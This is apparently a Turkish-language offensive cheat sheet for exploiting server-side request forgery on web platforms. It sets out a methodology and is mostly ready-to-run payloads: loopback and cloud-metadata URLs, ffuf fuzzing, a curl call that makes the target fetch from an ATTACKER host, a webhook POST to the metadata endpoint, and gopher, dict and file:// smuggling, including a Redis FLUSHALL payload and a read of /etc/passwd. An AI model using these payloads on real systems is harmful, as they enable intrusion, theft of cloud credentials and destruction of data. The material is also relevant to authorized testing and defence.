SSRF Vulnerable Platforms

web ssrf

SSRF Vulnerable Platforms sunucunun saldırgan kontrollü URL’ye istek yapmasını suistimal eder. Loopback, metadata ve iç servis erişimi öncelikli etkilerdir.

Metodoloji

1. URL alanını ve protokol desteklerini keşfet.

2. Loopback ve cloud metadata’ya istek doğrula.

3. Bypass (IP encoding, DNS rebinding, redirect) dene.

4. İç servis / credential etkisini kanıtla.

Temel SSRF

http://127.0.0.1/

http://localhost:8080/admin

http://169.254.169.254/latest/meta-data/

ffuf -u 'https://TARGET/fetch?url=FUZZ' -w ssrf-wordlist.txt -mc all

curl -sk 'https://TARGET/fetch?url=http://ATTACKER/'

Platform SSRF yüzeyleri

webhook, PDF render, imaj proxy, link preview, SSO metadata URL

curl -sk -X POST https://TARGET/hooks -d 'url=http://169.254.169.254/'

nuclei -u https://TARGET -tags ssrf -silent

Protocol smuggle

gopher://127.0.0.1:6379/_FLUSHALL%0D%0A

dict://127.0.0.1:11211/stats

file:///etc/passwd

python3 gopherus.py --exploit redis

Operasyon notları

SSRF Vulnerable Platforms sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Ek komutlar

curl -sk https://TARGET/robots.txt

nuclei -u https://TARGET -as -silent

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

GET / HTTP/1.1
Host: TARGET
Accept: */*

mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Ek keşif komutları

curl -sk https://TARGET/robots.txt

curl -sk https://TARGET/sitemap.xml

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

nuclei -u https://TARGET -as -silent

GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

mkdir -p evidence/web && tee evidence/web/notes.txt

request/response
zaman damgası
kullanılan hesap
etki özeti

curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html